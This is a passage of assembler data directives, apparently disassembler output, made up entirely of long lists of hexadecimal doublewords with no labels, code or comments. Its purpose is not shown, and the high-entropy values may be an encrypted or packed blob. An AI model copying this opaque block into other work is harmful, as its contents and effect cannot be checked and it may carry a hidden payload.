0BC508296h, 7DD5F702h, 0C5815300h, 0D87E9DC2h dd 5C3C899Dh, 73680569h, 8EDFFD56h, 2F0B243Fh, 848161FAh dd 8F0F01A4h, 0D127FEF9h, 0D621DF10h, 0C209CF21h, 0C47A7CF9h dd 0E8A566A9h, 0F75B930Eh, 0D0D84BD0h, 7E5C3993h, 80360131h dd 897F3DADh, 0C74FE8CEh, 0E56FC448h, 87BFF950h, 55C04DF5h dd 0DF0A8C68h, 0CA2E1331h, 735F2DDFh, 73D025E1h, 0A7C47E5Bh dd 6826F7F3h, 50C06488h, 0AEC110B4h, 0F2BB5B01h, 0ED8263A3h dd 513C42F5h, 2D076A78h, 14C83538h, 7733FE57h, 3470F911h dd 0D670A32Fh, 6957A50Bh, 0D8DDD09Ah, 5FE4BA48h, 0EC5AE028h dd 0D3BF4750h, 9432DE4Bh, 9F97D0CEh, 0D65E8B0Bh, 25C4447Ah dd 8DC2A73h, 0F4528B72h, 0EA28BEC8h, 4BDD06C1h, 9D425EE9h dd 309D5DF6h, 0EE659457h, 3A3AB830h, 89F60F6h, 9DFDF80Fh dd 88C0C34Bh, 0EE9FB2B0h, 0ECA9B542h, 77512F75h, 316F9300h dd 5AE90238h, 8E811E6Bh, 1FEF1609h, 279C4CAAh, 0FC7AEC54h dd 7D5EC2F8h, 0C44239FCh, 425A78h, 451DB3EEh, 0A0055954h dd 16CC481Dh, 0EC2FA240h, 5E71E94Ch, 5F9147D8h, 15A7F135h dd 2F72F536h, 18F89316h, 0FA40CAA8h, 0D08005B6h, 4CEFEEEh dd 585208Eh, 4EBCE4E9h, 52D1F606h, 591F38B2h, 2D8BD901h dd 9C435E3Eh, 75F53963h, 50582CEBh, 0E9990263h, 0FE9A7747h dd 0BF2798DFh, 1F1C00CAh, 0E4F78133h, 4A485274h, 197E7EF9h dd 2EE93244h, 6FD7B576h, 9FEBB106h, 97791320h, 0EB6F9E51h dd 0BD5FC0B7h, 9F421E71h, 0B86F891Eh, 6856385Fh, 0CC2AEF10h dd 1A4EE3D1h, 76C401BCh, 0EF8002A8h, 0D422632Fh, 435398BFh dd 0E68B8860h, 0B0CA4C67h, 95BA848Ah, 0CD0C0960h, 640A57A0h dd 0C69A030h, 45B0E27h, 0E9FB29E7h, 3F4EA1BAh, 0D2DF1DA2h dd 4B8D824Ch, 388A98E8h, 87196E0Bh, 7BAC86D3h, 0DB40B73Ch dd 0F893FE08h, 0B5CEB340h, 0A04EB74Fh, 0ECCBAE2Dh, 24FC9457h dd 3DF510E3h, 24C8CEB9h, 0C6021753h, 0BFBD010Dh, 7B3EBC0Eh dd 6808A650h, 3F2C141Ch, 2041AC17h, 2934C8B0h, 0E4C788F8h dd 48997F9h, 0E98638EDh, 9788BEB0h, 6875651Ah, 80D9A44Ch dd 45EE5A54h, 0E7DB9354h, 0C70F2273h, 0ADDFF64Fh, 0AD3083DDh dd 2B54128Bh, 0B31DE862h, 5B2204F5h, 0C24A8F2Ch, 1C79B2F5h dd 372F1A3Ch, 26A0682Ah, 1E690E46h, 3B412D0Dh, 30E0C138h dd 1C208837h, 0E445B5D1h, 553E5609h, 119F1E18h, 0F1BB3A95h dd 0A22D8169h, 2E16B875h, 7015484h, 3457685Bh, 0ADD68738h dd 332D8F8Dh, 4B4E5ACAh, 65904155h, 919C3667h, 6CB25444h dd 4F55E393h, 5207B8A8h, 700A70BAh, 5EAC167h, 8B840F09h dd 98A1FA76h, 367924E4h, 0EF96084Dh, 0E8E4D328h, 416A5C82h dd 0DCB2BB50h, 1250903h, 0CD7D85Ch, 74E5E951h, 8B00BF2Ch dd 8157DA5Eh, 9596EEFh, 0EAE94E8Fh, 93BA4F0h, 67A5B5D6h dd 0B54FFEA9h, 2C306BCDh, 4D96E9C3h, 0F130A573h, 7F46681Dh dd 7A253892h, 6C083A97h, 872940D5h, 0D75CA3AAh, 0A6ECC7AFh dd 0FEF0A78Ah, 0F5795A69h dd 0D34D59B4h, 73451240h, 0D23A1EA7h, 1FC036C4h, 0D687F229h dd 0C20B05Ah, 768481Fh, 3271180Ch, 0CCE9E41Ah, 0C378542Dh dd 6CF1454Dh, 12452624h, 0B529D2B2h, 0CA9DD030h, 6D81BA16h dd 48E33674h, 0D72D4BD5h, 395AE201h, 951E32Bh, 0DC7C4768h dd 11827AF3h, 0C4F4185Bh, 493568D0h, 2887B19h, 0B4AD2992h dd 0A159BC4Ah, 0A815729Ch, 5A79F248h, 86D33DEh, 375A8115h dd 2F09692Ch, 854E1C5Fh, 0D433686Bh, 9AC1F2C3h, 514804DAh dd 7A6A24Bh, 0C180B7B3h, 0F87BD4F8h, 61582FD7h, 13C1898Dh dd 0EC802D03h, 8E9FE980h, 0AF40868Ch, 0DFEB00B3h, 0F352833h dd 43A8748Ch, 45274330h, 2CC56071h, 1F42D6FFh, 0FC0B1610h dd 0E4BDE297h, 0AEE95C4Ah, 972B3241h, 3562B242h, 0FEBCAE7Dh dd 40FD42AFh, 0DF071F0Bh, 98D552F7h, 224A27ABh, 0C4C4B8E8h dd 0B932AB6Dh, 55CBA9E2h, 0E8F4D605h, 800F0B8Ah, 7F79428Ah dd 0D934376Ch, 74779C86h, 7B3F8EE2h, 0C66E27C7h, 421B6812h dd 0B5628B8Fh, 65F827E9h, 203AAD4Ch, 0A3CCB782h, 747F6804h dd 8A8B6F5Bh, 87D1F700h, 13DEE9F9h, 4B8D99BEh, 0D93F487Ah dd 3E70A436h, 2A31EE03h, 0DE0C0B15h, 9503455Ch, 0E9E55EF0h dd 54532D9Ch, 2EF7622Eh, 81ECD62Fh, 0F8C4E9C4h, 5A5926B2h dd 8AF386CFh, 0AA25B782h, 45991646h, 80EBD130h, 766A0F02h dd 0FB09370Ah, 5C03B25Fh, 0B20A902Ch, 9DADC4C5h, 462081D8h dd 0B92D4AFCh, 315B0771h, 0C4098FC3h, 51AD24CFh, 0C74E12FAh dd 99466978h, 5DEE8912h, 2B068EC5h, 0B127EA0Dh, 0CBEE24C5h dd 0E0CD444Bh, 5100466Fh, 0D9F070B9h, 51CE29D2h, 0D43ADF59h dd 0E54BFD7Fh, 147E39AEh, 0E46BFCCDh, 569985EAh, 0C9A6ED68h dd 68410257h, 0C301C9A0h, 0FB964023h, 34274D7h, 252F6E58h dd 1046F268h, 4B627995h, 600B5C53h, 0B0A66E7Ch, 16F64AEDh dd 4AAEF877h, 0C994F9E9h, 0F0614A2Ah, 0A2475B15h, 16FFD3CFh dd 8198B3D9h, 36052915h, 3507B02Ah, 814A410Bh, 2DB0540Dh dd 0A4306EF2h, 53F83F0Bh, 2C7417B3h, 7419FCDCh, 7B5CF7A2h dd 0C8FC2227h, 0D559E9D6h, 0B75290E2h, 26BE0B48h, 0CF08AE9h dd 0B26CE68Ah, 0FBB8D698h, 0FE50661Bh, 0F358AB54h, 0A0DFB3EBh dd 5CD7E9D9h, 0E997C134h, 0AD313F42h, 2DF7965Bh, 46655FF8h dd 7FBC4925h, 8F120228h, 0F91D7D47h, 0D95759EDh, 0E7D03AC1h dd 0C0707615h, 455EF53Eh, 0AA258A0Fh, 5A56DEB7h, 4B9FA70Fh dd 132992E9h, 8A0B0844h, 59DD88E8h, 0E5A26A3Dh, 5CE4084h dd 1456CAF5h, 0D58AC2BDh, 5925A965h, 6EEA096Ch, 0EC314F5h dd 92534CB9h, 0ACB8BFC0h, 14FF36Dh, 3E2B4BCh, 2E5E1A69h dd 0ED403D7Dh, 0CA16EADh, 1EB1E923h, 85D3A843h, 16A2E5ACh dd 0C813C644h, 9983204h, 0B6414E42h, 5BE64488h, 0E95CB09Dh dd 43E449BFh, 156BF719h, 59162E8Ch, 0F8D7A9E3h, 0F22DF033h dd 3D062C44h, 0FBB3001h, 9754F486h, 740B8E2h, 59A2C68h dd 8EE06C95h, 94B1510Eh, 0D63A89E9h, 0B882BEFFh, 2AD4C16h dd 811CB154h, 52B3ECC2h, 0A289DDFDh, 0A25D684Ah, 75ED81F7h dd 8CE23A90h, 0A0017DEh, 89A9F719h, 0C15909CFh, 0FC0005E7h dd 0FD03EF9Ah, 0BA2094Fh, 2F31CB10h, 131B5353h, 4D0EE09Ch dd 0D296D5B0h, 4F02802h, 49FB793Fh, 14680007h, 0C4E9E87Dh dd 5C010E16h, 95C9EB80h, 5A111820h, 0B704CFE3h, 0A0E7E976h dd 51975413h, 8B2C0DDBh, 2CF5277Eh, 82160B57h, 0F88310A5h dd 0A2E71A5Dh, 2D105FE9h, 0DD95F7Ch, 9FEB33Ah, 10B30F66h dd 81C3FE85h, 62BE404Eh, 474FC761h, 0DE07AFE8h, 0D06C6F4Ah dd 0A82194F6h, 8981345Eh, 0BC057314h, 0D159B077h, 984F71E7h dd 3FF6B4Dh, 0C03101D4h, 73BBB673h, 0DD62C227h, 5314985Dh dd 80CF5E88h, 93345940h, 4D203490h, 0D0F6078Dh, 0B203E8C0h dd 0E544688h, 0FBBC6B8Bh, 9190BD2Eh, 0A85F2C0Fh, 4194118h dd 6C61E1B5h, 5101D100h, 9AB43B50h, 0FEDAF480h, 1C8B0FC4h dd 29982DBCh, 0CDCA01B3h, 2B0F6EB4h, 0D3255904h, 1C7D3109h dd 8F681E39h, 0A2A245Ah, 0CB53BD65h, 50272300h, 6F907186h dd 5D0D2369h, 0F4E60E05h, 6C629069h, 91AF13Dh, 0DB232382h dd 86162209h, 89B6C559h, 0F0409B3h, 0F1800335h, 14C1982Fh dd 2ACF7D28h, 1DAEF244h, 1ECBFEDBh, 0DF7AC9D3h, 18BFEB90h dd 89598509h, 0CB3380F3h, 0F7FC690Ch, 367F0C87h, 3DE991E5h dd 0BD992FFBh, 8B3902EEh, 0E75CD009h, 5347936Ah, 2B86A7F1h dd 0B6931FE7h, 365531FDh, 99056DD7h, 0B307A00Ah, 0AD98024Bh dd 0E70E5EA8h, 73C811BDh, 842FE45Ah, 9F31104Ah, 0B79F7919h dd 1FBCBD0h, 337DE56Ah, 1089C013h, 0E969168Ch, 0BD474086h dd 35DA6E3Eh, 0AACD8103h, 4179A764h, 0AE1088E5h, 95DDF780h dd 0C8E64DF8h, 0CAC594Eh, 0F3F5A878h, 20190510h, 0EAEB834Fh dd 6240EC19h, 68592382h, 6EA02EB5h, 512921BAh, 1D983866h dd 2E2B70Dh, 0F054BF85h, 0B5EC4640h, 0D81A39E3h, 94E26624h dd 0C82942F1h, 991371FBh, 7A4DD4ACh, 10F8E9B4h, 0D841A003h dd 5AF88A2Fh, 596270A2h, 7CD4712Bh, 0CB0FF34Bh, 0E9858A59h dd 5953A0EEh, 9ED728F0h, 0CA872EB2h, 7148811h, 0DC555B09h dd 0CD04EB20h, 9FBD12D0h, 7F34050h, 430C39ABh, 0B19C750Fh dd 644E3EF4h, 0C0491B2h, 0F437E95Bh, 0D148C2F7h, 48D41637h dd 0D8A61362h, 0AFEABD5Ah, 0A1147DEBh, 30308E1Fh, 69D77E4Bh dd 5715037Eh, 391472BFh, 6E5A31B2h, 0B4343509h, 8132D51Ch dd 0DD3AE606h, 0DF324A95h, 27447C01h, 0A34D2025h, 568C1812h dd 0E810441Bh, 0B01D7F2Dh, 45C213CEh, 97D41C29h, 0B29CC8FBh dd 4CD6564Ch, 0C828B089h, 0CC120E9h, 0B7BDBF4Fh, 12FB011Fh dd 0BDA5C468h, 19D75E1Ch, 55D2DBD5h, 9353D4D2h, 0EFE82343h dd 314C34A8h, 94FB892Ah, 0C4C75F5Dh, 72F91293h, 39D2D7D6h dd 5C279F76h, 6E01795Bh, 56086910h, 5BE93FEEh, 315ACD81h dd 40192B20h, 0D36F8984h, 312DB88Dh, 50D5B6DEh, 29C4F121h dd 0AEFCCEE9h, 0BC07EC4Eh, 9909E8E9h, 57559E49h, 0E7AE5CAAh dd 0C1ADE254h, 781244h, 80FD5E70h, 3EAC030h, 0ACAFE30h dd 30E28602h, 0E908D4F6h, 0D7BA3271h, 0B27C7222h, 489A4D49h dd 2CC9FE16h, 0C84AE926h, 55830684h, 8047000Bh, 0D930FAC3h dd 0BD48045Bh, 4C2C3A04h, 99B57050h, 0FB30B579h, 815C5EB7h dd 711CC78Eh, 0BD498ABCh, 0DE253702h, 74960B22h, 4E3263D9h dd 5B840908h, 64FADFh, 9ACE301h, 0EB5774ABh, 5D12082Ah dd 5B4C6D8Fh, 591DD620h, 927CEA83h, 939B2927h, 9D20872Ah dd 0AB855582h, 0AA51EFA4h, 2DBD0EC0h, 2576038Eh, 2140FB1h dd 2F230DC0h, 84126778h, 0B1A2F24Fh, 419E1810h, 47846A86h dd 2F7EE1E9h, 6EF19128h, 0E981C8C9h, 183B6264h, 4055CDFEh dd 1FB15162h, 0FBCE88C0h, 65F1942Fh, 0E9565DE0h, 0B382A842h dd 0EBC02F67h, 35370E82h, 1762785Ah, 68E6A10Bh, 318D0F76h dd 8CB99581h, 0F2A781A0h, 878AFEFCh, 2967E02Eh, 17E420E7h dd 6037A12h, 0A48C67EAh, 478F03F4h, 0A91CC240h, 29FDDE80h dd 0DE16F41h, 305BB017h, 14F527B5h, 0D6A8BAAh, 0FBE77DE9h dd 3CD3B03Eh, 6334294Fh, 0C27788AEh, 330C6A60h, 0BD9288E9h dd 0C4978AE6h, 0A5DD27BDh, 54F79BC8h, 0FC7ECB25h, 0FA350799h dd 0AE4EB439h, 20229E18h, 2376040Fh, 0FE05E1C1h, 0AB83985Dh dd 0B508CE43h, 0ED71C980h dd 0F5C7EA42h, 3B8B3A6Dh, 5493F1F9h, 0BCCE64AFh, 92B3D39Dh dd 9BA9E909h, 6E0E3C7Ah, 0C458E528h, 80ABB7EDh, 1FC9E901h dd 9C821F9Eh, 543079CFh, 985408B4h, 31176C26h, 28FA1152h dd 0EE5F6BCFh, 9785D927h, 5484B795h, 0E26367FAh, 1248C9E7h dd 3080672Eh, 0D2CEE4F1h, 83340808h, 0C1CCE909h, 0C57F5CABh dd 12F581D6h, 10C97D8Fh, 0A5408A61h, 0A6BCC106h, 0F977453Fh dd 5B299373h, 0C19674FAh, 39761984h, 16BB94F9h, 0B7A3FBC7h dd 1A07984Eh, 29A62BFFh, 0B01EE9C5h, 7DB25A63h, 4B37FA97h dd 8465925Fh, 0B1080056h, 0E2CC3A66h, 0C62EF345h, 57809B0h dd 0A4358178h, 21190A26h, 50F14F14h, 7D43B8F8h, 0F72E9053h dd 64E1E9F8h, 814B48CAh, 8185CDC4h, 6E9BEBADh, 277833AAh dd 8813293Fh, 16521DDFh, 8578A2EAh, 0BB51A68Eh, 0F9F602D9h dd 76CE6CE9h, 937FEFD1h, 12F9E9F1h, 0BD697Ah, 4BAD3D12h dd 4E00D815h, 2D3EE847h, 0AB7FF507h, 0E5B5E93Ah, 0F9067CBDh dd 0E81BEE23h, 622CFE98h, 0DE8864F3h, 0C3FE0ABCh, 0D4801F02h dd 0F8309DB8h, 79ADF693h, 921E113Dh, 9B7183ABh, 0D86B757Ah dd 634AE960h, 0F7EA4041h, 0DACB550Eh, 0B7CD706Fh, 308E99C5h dd 9C64DF0h, 6325A9Bh, 20840D4Ch, 0BFB62D65h, 0ED2EA78h dd 68EB61ABh, 85975079h, 2FBF219Dh, 9796AACFh, 0AC80C44Fh dd 0B76B3CF1h, 0CECC4F40h, 59CA2C29h, 69E9C23Dh, 0F161264Ah dd 8B06A808h, 133FB33Fh, 28EFD99Dh, 535E5D66h, 0F05BB222h dd 81BB6781h, 4391E25Ch, 8B9D8C59h, 27C73E25h, 0E641E3E9h dd 16BC7254h, 31A8A7E7h, 0E92D89E8h, 582595Dh, 0AC6BCE68h dd 58FC587h, 0E72DB8F3h, 428792A8h, 437664FFh, 5B4B6BCBh dd 0A3632C85h, 2FB11F00h, 5776AE2Dh, 0F1350475h, 0EFBA59A8h dd 36687702h, 83E5554Dh, 163FE986h, 0D2F72C0Ah, 12A027Ch dd 975BD90h, 25DCECFEh, 6664E47h, 285638h, 0DDC98159h dd 9072966Eh, 6D44028Eh, 0F901470Bh, 4EF12460h, 0B7C0E913h dd 0D43837ABh, 2CDBFDBDh, 8D099C8Fh, 0F2D9F112h, 0CD448762h dd 9095B97Fh, 13E581F9h, 974A11h, 2B03C579h, 3EC94BF1h dd 749E0021h, 0D116852h, 5AF81B22h, 0F1C86F26h, 6C978442h dd 6D5C2D15h, 94F5A54h, 40B56232h, 24DA289Bh, 0E635B66h dd 96628007h, 65E14C2Ch, 0E882DBB5h, 8FA4F8C1h, 0CBCA31F9h dd 16A65659h, 644CFD5Ah, 0A3C00709h, 0DF1E47F7h, 9E8B420Ah dd 9DF4E5E9h, 45E66806h, 0BD242597h, 1090CC16h, 0E6F43041h dd 0DBD0555h, 8056A009h, 9B515E3Dh, 20E9053Fh, 4CD9E07Bh dd 4D585380h, 0C09EE2Dh, 0FE8B96F5h, 0BF57B241h, 0AB557C8Bh dd 12611659h, 522077FFh, 25BCA9FBh, 9631B5Ah, 0B730E90Dh dd 10495C5Eh, 972F1286h, 0BE566130h, 0FD169B1Fh, 0D300EE66h dd 0E97C3A7Dh, 0B3D84B77h, 765225C7h, 0E9325A0Bh, 0E918574Eh dd 0BA42B49Bh, 0B3670078h, 895EB90Ch, 0C29511B1h, 247D560Eh dd 3899036Ch, 137F73FAh, 5181C339h, 76A69C0Bh, 0D4040313h dd 28EBA048h, 0B24078FBh, 3989733h, 5E8162FCh, 0C255BFD9h dd 3B82681Eh, 80450D19h, 0C2D8E4F2h, 80829D3Dh, 0A5F16E05h dd 9390F720h, 0C6123B25h, 46FD0C2Ch, 3E4E79C4h, 0C992803h dd 81386850h, 4F7C0880h, 0FC0BBFD3h, 5D08A799h, 0C4F25762h dd 5228C9B3h, 372006D8h, 0CE0128F4h, 0EFC797BCh, 0FA2DF222h dd 4E51181Eh, 0EEE1C2FDh, 4AC15734h, 0EC88DA29h, 0F0E90908h dd 52701F0h, 2F207B02h, 7F8FAC87h, 9D2A1133h, 6E8BBC74h dd 2DF7F169h, 80A5F6D5h, 5D51C054h, 436E9DCh, 17F4D4Fh dd 14F3C4D9h, 0A0108808h, 4B0C64B5h, 0FB190F0h, 0A2C1800Eh dd 0B809B344h, 1937C5B0h, 21C558ECh, 5E2EB285h, 262C64D2h dd 6813BD01h, 388C4BA3h, 0C5803F18h, 8825284Bh, 8E50EF39h dd 0EBD4F6FCh, 759057E7h, 325BA268h, 0E9A17AFDh, 2125359Fh dd 0C1776A2Eh, 55CBFDF2h, 9A2755C7h, 75D40939h, 0EE018AA2h dd 6DB8E9C1h, 2C7F0E0Dh, 52F80164h, 46FDADB2h, 62A9A254h dd 0A01AF981h, 815A801Ch, 0C15C581Fh, 3550B7EDh, 78687601h dd 7B2BE971h, 0C79EE33Ch, 69E87DCFh, 7FEAE300h, 91D9C10h dd 902071E9h, 0FE283528h, 0DEB3EC3Ah, 101C880Ch, 7952030Dh dd 8E0F1FF0h, 4C4BFBE5h, 5D07ABC6h, 88C4700Fh, 0E2FDD79Eh dd 12750BD9h, 0A147CCFFh, 313F9268h, 3CA6BA8h, 7753F155h dd 58E27674h, 4C741003h, 510EFD28h, 0C80B88B1h, 2C1DFA5Ch dd 5258A5E6h, 80EC17B6h, 0E87905EEh, 0BB354999h, 0EB011DF9h dd 1B820A59h, 0B2125B68h, 0F11D9074h, 35137F06h, 7D10DA29h dd 3BFC4F08h, 5D0EBD4Ch, 29680B9Ch, 84D5F709h, 96C06776h dd 0BBCD016Dh, 0C0502D0Bh, 39B85000h, 9258623h, 711097C5h dd 7B9D2AE0h, 6B9F420Fh, 0D2DC5DDh, 3CB0F13h, 6B99E2D6h dd 6070F053h, 0F875D9Ch, 648F972Ah, 0A2CA9EC7h, 12FBBD5Ah dd 35E9922Ah, 3F05BB92h, 44EB76AAh, 0F2F7F948h, 93447F07h dd 3225615Eh, 0F2F7EF8Ah, 0F2B1487Fh, 195702CAh, 0F450E9D9h dd 0F32E4657h, 207F21FDh, 7B7A2DD2h, 0A53DCE3Eh, 0ADD501C3h dd 0E76CD831h, 0FC2CFED2h, 0D3150CDEh, 0CBF84208h, 0D53D5C81h dd 0CACE9413h, 0B1494FA8h, 5C932959h, 52521ECAh, 5E65818Ah dd 1A952E05h, 2F9CC608h, 0BA0113C7h, 603837B0h, 56D077Fh dd 18E870BBh, 0CF54BCE9h, 5F63A693h, 0E29BB10Ah, 0B70B589Ah dd 3DA85AF3h, 974B330Eh, 1AE2C00Bh, 5C6B4577h, 0ADD0094Ah dd 92DBE51Ch, 0DC3F843Dh, 0CA609096h, 6A74F2F5h, 0F54D48F5h dd 0D60004Bh, 4F7C3538h, 0F8418D90h, 0F556B46Eh, 8E657301h dd 5DEE31D7h, 54210861h, 0ED12D339h, 913C0406h, 0DE5CF9C4h dd 0D984C2D3h, 2FA200ECh, 0F681BA48h, 0D80E273Bh, 0BDEE03CDh dd 170332Eh, 8CD7A318h, 7CECE9B8h, 4888264Ah, 694B0E16h dd 0CEBC5554h, 959F395h, 81F970A9h, 0F1F85CC4h, 0A98AEEE4h dd 5C96EE23h, 0BDD374ADh, 9932131Fh, 0C487D5B9h, 0BA29DB02h dd 0EF595874h, 0B02FE908h, 0E35B2095h, 0BF139CB8h, 5282B8C2h dd 76B4225Bh, 0C98CC29Dh, 0A8A6295Fh, 0DEF75844h, 82E004D9h dd 9212EFFCh, 0F3874856h, 0BFB20C2Ah, 0A2280645h, 4C65D720h dd 0B410EF4Fh, 0A0B20960h, 43E7DC50h, 0D11069FDh, 0A35B7FC4h dd 0DABC4B7Bh, 6CF45489h, 54180BD3h, 945D28E9h, 0DE292740h dd 1303D6Ch, 3E7AD2C6h, 632B5F6Ah, 0A3D599FCh, 0FA8807ECh dd 0D744D2F6h, 5F955684h, 0D2DA8ABFh, 0C1389543h, 5D3A279Ch dd 5862D454h, 37FE09EEh, 1129302Fh, 0FEE957Bh, 73124A6Fh dd 3AAE4BEEh, 0B033B768h, 4BE82180h, 31C0AD5Dh, 0D5E9F708h dd 3CBBD7CEh, 447F30DAh, 0D2A6245h, 0E97CCF87h, 57511F3Ah dd 72C95F9Fh, 0C2385CB9h, 0BA00CC05h, 0B5AC4DADh, 524FCDE0h dd 315E0109h, 7E028BEAh, 65E989A3h, 124A9EF5h, 0A2821B2h dd 0DE15387h, 7E97F245h, 202A8C8Bh, 0CD2927A2h, 8588B945h dd 9E6806CBh, 0E62F1527h, 9F6C1EFAh, 2B95C5C4h, 14D09AFFh dd 96692941h, 0F79787E3h, 0E0D132D7h, 0CBE9BAA1h, 5A228080h dd 52C2BE56h, 0A6504A6Ah, 4D863904h, 0AA6410EFh, 6948854Eh dd 0BF8C6B22h, 33D56249h, 546559CBh, 42ACE989h, 789B5501h dd 88727BD9h, 935C7D75h, 0BD2900CFh, 590BEC7Ah, 5702369Bh dd 0F5C37EE9h, 0C2DC6BAFh, 0D314D7CEh, 0F627167Ch, 96E96273h dd 18B90668h, 20026213h dd 330015ACh, 0C3813615h, 0A32E55ACh, 0E9854619h, 48B925E1h dd 9E7A860Bh, 3069F58Eh, 0D901F246h, 5A378355h, 71E0EAD1h dd 0A5599D75h, 45504682h, 6989FD3Dh, 0C68029DCh, 5632E416h dd 0BD589831h, 83892092h, 3B95A975h, 0F9DB9F0Ch, 0FEE96203h dd 0AD7907EAh, 17E53DB7h, 9E5A29B8h, 0B3471091h, 2EFA064Ah dd 0C32F35F9h, 2BACC58h, 7D5D6402h, 3282CB31h, 0A3DA98D4h dd 4C9EC320h, 0FB04FC5Dh, 0AA135C56h, 0BBF77704h, 832DAD00h dd 227BE41Bh, 1BA2362Dh, 7BFA0Ch, 134504B9h, 4C21E9B0h dd 0B051261h, 385F0C22h, 342BFE5h, 0E938C73Eh, 45099994h dd 5CFD69FCh, 0B10613F9h, 830D839h, 6817455Fh, 87FC6280h dd 0C4416212h, 0E75F8B98h, 5B2F082Ah, 5B465017h, 0C0BD2D58h dd 3507E09Ch, 0FE099DCAh, 0F4C229DFh, 9052C4A1h, 6871A7F0h dd 63E3C68h, 5FD5A1Fh, 506D6035h, 4FB287D0h, 873A0CE7h dd 4A0645EAh, 0B4E2D124h, 90B8BE0Bh, 2C432D87h, 0BBDC7160h dd 0D6C5C9CAh, 0E817100Fh, 0FE8BD5A3h, 5B76EF54h, 400D96E0h dd 97BC55E4h, 9BE80C2h, 0F89D125Ah, 975DF8B3h, 3255EBE2h dd 68E22A1Ch, 0E6FCB412h, 106CF74Fh, 0BA016C81h, 1790844h dd 88B32B74h, 25060C41h, 40F39077h, 0C377215Ah, 0CFF10A4Fh dd 4B9F6F62h, 730879Fh, 38FF9668h, 0B7A0C4C3h, 83D0016h dd 174C64Fh, 40BDCA48h, 0EC15908h, 67BD7DA5h, 839658FEh dd 9F1C1C08h, 97359257h, 9AA049FCh, 0D31D4868h, 9AC15EFEh dd 0DD6E1A22h, 9E5D44FCh, 0D01B92A5h, 0DFB6C1C9h, 89D4FB17h dd 93E91D90h, 1852A0E7h, 7CF1302Eh, 0F23A8976h, 2AF58051h dd 83C8A9A3h, 0A0885F3Eh, 77209D02h, 1C1EC0CBh, 0D37D6090h dd 0A16C4E20h, 9E680B2h, 59BBA182h, 640B24E4h, 4432C2Dh dd 61FFC12Fh, 164C7376h, 71919810h, 8F23A09Dh, 0ECBF81EDh dd 47589575h, 484104C4h, 81AA7015h, 4D1D88Bh, 80DBC1FEh dd 14E168E3h, 69AB1E04h, 9A048373h, 0DA98C29Ch, 0BFCD06F0h dd 0C50823Ch, 52030B09h, 0D03B8034h, 2EA17FECh, 12D1E929h dd 601B3DBh, 78467D58h, 8E983D0Ch, 0E3DEFDADh, 0B0124ABEh dd 0B26FFBA1h, 6FE9C207h, 0B5CFC615h, 0FEA7F445h, 6046495Eh dd 0F21F322Fh, 61CF3073h, 0FBE8C6D9h, 0F8EEF62Dh, 0BDF380A4h dd 2FD93433h, 0CC54BB0Ch, 76DC201Ah, 589C3380h, 0C9B9A808h dd 0C24FFC97h, 3292C29Ah, 0A571AFBFh, 70ECE283h, 0FD1158C4h dd 0E094109Eh, 81425F25h, 6E270D5Eh, 0EA029DB0h, 0C0097822h dd 0B0212B6h, 15B253Fh, 0A7148F6h, 0B684132Ah, 7E06136Dh dd 0BF351190h, 0D3AF2D5Ah, 2B57D2C1h, 0F70CA344h, 929F70E3h dd 0C097A1F0h, 0F60559CAh, 0F2C280DAh, 0F801D4D7h, 0CC25E704h dd 82E9A76Bh, 8130B151h, 0D1F6B2A4h, 0C17E917Fh, 28BCD09Ch dd 0F3B660B5h, 6182F2h, 37680058h, 28AE2653h, 0D3C16279h dd 0A094E657h, 807B5CF4h, 0D89DE189h, 9A71EAD4h, 0B3C84B64h dd 39EBD6BCh, 0CA9C38D1h, 0E3A6F729h, 0FA1E9603h, 0DAD0D915h dd 0E160500h, 0F6708D26h, 0E140B313h, 0C08A50Dh, 400BB831h dd 627034A8h, 0BDABC350h, 0A3440981h, 8F05CF00h, 27401B57h dd 0F67CC789h, 5A667472h, 427C255Fh, 520033E8h, 15506856h dd 8B6F19ADh, 0DFE92232h, 81CC0A14h, 0BA5D25E7h, 0C60C931Ch dd 0E9213203h, 0C993D478h, 0F2D1BAEBh, 2ED87E68h, 9F5B918Dh dd 0EEC089C2h, 7ECD9677h, 7F5C816Bh, 94CBDD28h, 0E6FD59D4h dd 8DC2BF7Eh, 0B1B2D57Ah, 54275591h, 0BC80EEAFh, 4BEA5F45h dd 0BDFD3055h, 1E1D1B4Bh, 1758E965h, 74E0BA5Bh, 0F4A055Fh dd 0FEC4458Bh, 40B1BB28h, 0E0258A60h, 26E0785Dh, 1AD05BB7h dd 434CD5F4h, 0F549B3F8h, 6A059242h, 15C9E609h, 10D860FEh dd 5AD52D89h, 33491B58h, 0EF7810CDh, 4EFB777Eh, 809CADECh dd 2BB5396Ch, 0E8DF5EF7h, 0F4F0535h, 2F9238Dh, 397DE703h dd 0F7B01E69h, 0AC1824D4h, 59E05A2Ch, 0C227C05Dh, 6CAD461Ah dd 30C5997h, 0DA88D88Ah, 5B5AD490h, 80C2664Ah, 5488F828h dd 7E058452h, 789B3D2Ah, 0AFC7611Ah, 0CC51B204h, 2200B9F4h dd 0BB190102h, 1350CE1Ah, 0FACB2987h, 4F31DB2Ch, 0D4CDE3D8h dd 0AFB91352h, 0E88849E8h, 0D7E34230h, 60FD2C46h, 190B25A4h dd 82C63277h, 416E273Ch, 0BB00D44Ch, 25095F0Ch, 0DDCB3155h dd 241B3E03h, 0C5DE87B4h, 9333B8B3h, 6A9C7801h, 947B1FE7h dd 0C08189Dh, 5A3912BCh, 95E91D2Fh, 0F2BEB1B0h, 0EC9C018Bh dd 6F7A4E05h, 2DCB7019h, 20E907A0h, 4D35E69h, 0D6AEC3E4h dd 4B020C2Dh, 116A664h, 0BF5761D3h, 5C312470h, 0D920C011h dd 0AF547397h, 0E912B75Ah, 0C3F8C6EDh, 5C0458B3h, 5CA74305h dd 548EE487h, 9B284E08h, 7CC36929h, 31866203h, 3C9AFDC4h dd 70C4DAE9h, 71C97FC1h, 0D28B1970h, 3DF0BD3h, 0BBFC4184h dd 2CF035D9h, 7166BED0h, 93A03A29h, 39E158D2h, 0B0214B2h dd 0EC2D057Eh, 0B48CB5C1h, 985EBAEBh, 0DB1427BBh, 7901732Bh dd 30891644h, 5B4E3554h, 0FE124B8Ah, 1307ED19h, 50F4F9CDh dd 0BD2240A2h, 0B0C27ABDh, 0EC5D5E6Bh, 0F1420F7Ch, 0BAF03725h dd 0A0D29533h, 250CDBB5h, 68840776h, 89BA1C0Bh, 2B54E932h dd 447BF03Dh, 0CD4004h, 4B71A4B8h, 5D439D50h, 0EAB70640h dd 7B5D740h, 0C0C5FE9Ah, 8777FBEDh, 690860E9h, 27170FCh dd 0E43C672Ah, 1794B88Fh, 0E8ED1F68h, 409DE48Ah, 5EBF02EDh dd 0FE21A627h, 0D45745C9h, 